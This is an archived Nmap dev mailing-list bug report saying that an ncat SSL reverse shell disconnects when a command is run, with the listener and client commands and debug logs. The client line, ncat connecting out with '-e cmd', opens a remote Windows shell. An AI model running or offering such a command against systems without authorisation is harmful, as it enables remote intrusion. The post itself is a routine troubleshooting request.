Nmap Development mailing list archives
ncat reverse ssl does not work, terminating subprocesses
From: Olivia Nelson <the.warl0ck.1989 () gmail com>
Date: Mon, 20 Mar 2017 17:16:47 +0800
The client is a windows 7 machine, run cmd.exe and connect back to a ubuntu server When I execute a command, the connection interrupts immediately. Any ideas? ==== server ==== # ./ncat.linux -l -p 8888 --ssl -vv Ncat: Version 7.40 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: CC5E 8A28 A19F 9254 2BC5 869C DFDC 47C0 D566 4D87 Ncat: Listening on :::8888 Ncat: Listening on 0.0.0.0:8888 Ncat: Connection from 172.16.177.30. Ncat: Connection from 172.16.177.30:49180. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. x:\>dir NCAT DEBUG: Closing connection. ==== client ==== x:>ncat 172.16.177.200 8888 -e cmd --ssl -vv Ncat: Version 7.40 ( https://nmap.org/ncat ) NCAT DEBUG: Using trusted CA certificates from x:\ca-bundle.crt. NCAT DEBUG: Unable to load trusted CA certificates from x:\ca-bundle.cr t: error:02001002:system library:fopen:No such file or directory NCAT DEBUG: Not doing certificate verification. libnsock nsock_iod_new2(): nsock_iod_new (IOD #1) libnsock nsock_connect_ssl(): SSL connection requested to 172.16.177.200:8888/tc p (IOD #1) EID 9 Ncat: Subject: CN=localhost Ncat: Issuer: CN=localhost Ncat: SHA-1 fingerprint: CC5E 8A28 A19F 9254 2BC5 869C DFDC 47C0 D566 4D87 Ncat: Certificate verification failed (self signed certificate). libnsock nsock_trace_handler_callback(): Callback: SSL-CONNECT SUCCESS for EID 9 [172.16.177.200:8888] Ncat: SSL connection to 172.16.177.200:8888. Ncat: SHA-1 fingerprint: CC5E 8A28 A19F 9254 2BC5 869C DFDC 47C0 D566 4D87 libnsock nsock_iod_new2(): nsock_iod_new (IOD #2) NCAT DEBUG: Executing: cmd NCAT DEBUG: Terminating subprocesses _______________________________________________ Sent through the dev mailing list https://nmap.org/mailman/listinfo/dev Archived at http://seclists.org/nmap-dev/
Current thread:
- ncat reverse ssl does not work, terminating subprocesses Olivia Nelson (Mar 20)
- <Possible follow-ups>
- Re: ncat reverse ssl does not work, terminating subprocesses Varunram Ganesh (Mar 20)
- ncat reverse ssl does not work, terminating subprocesses Olivia Nelson (Mar 20)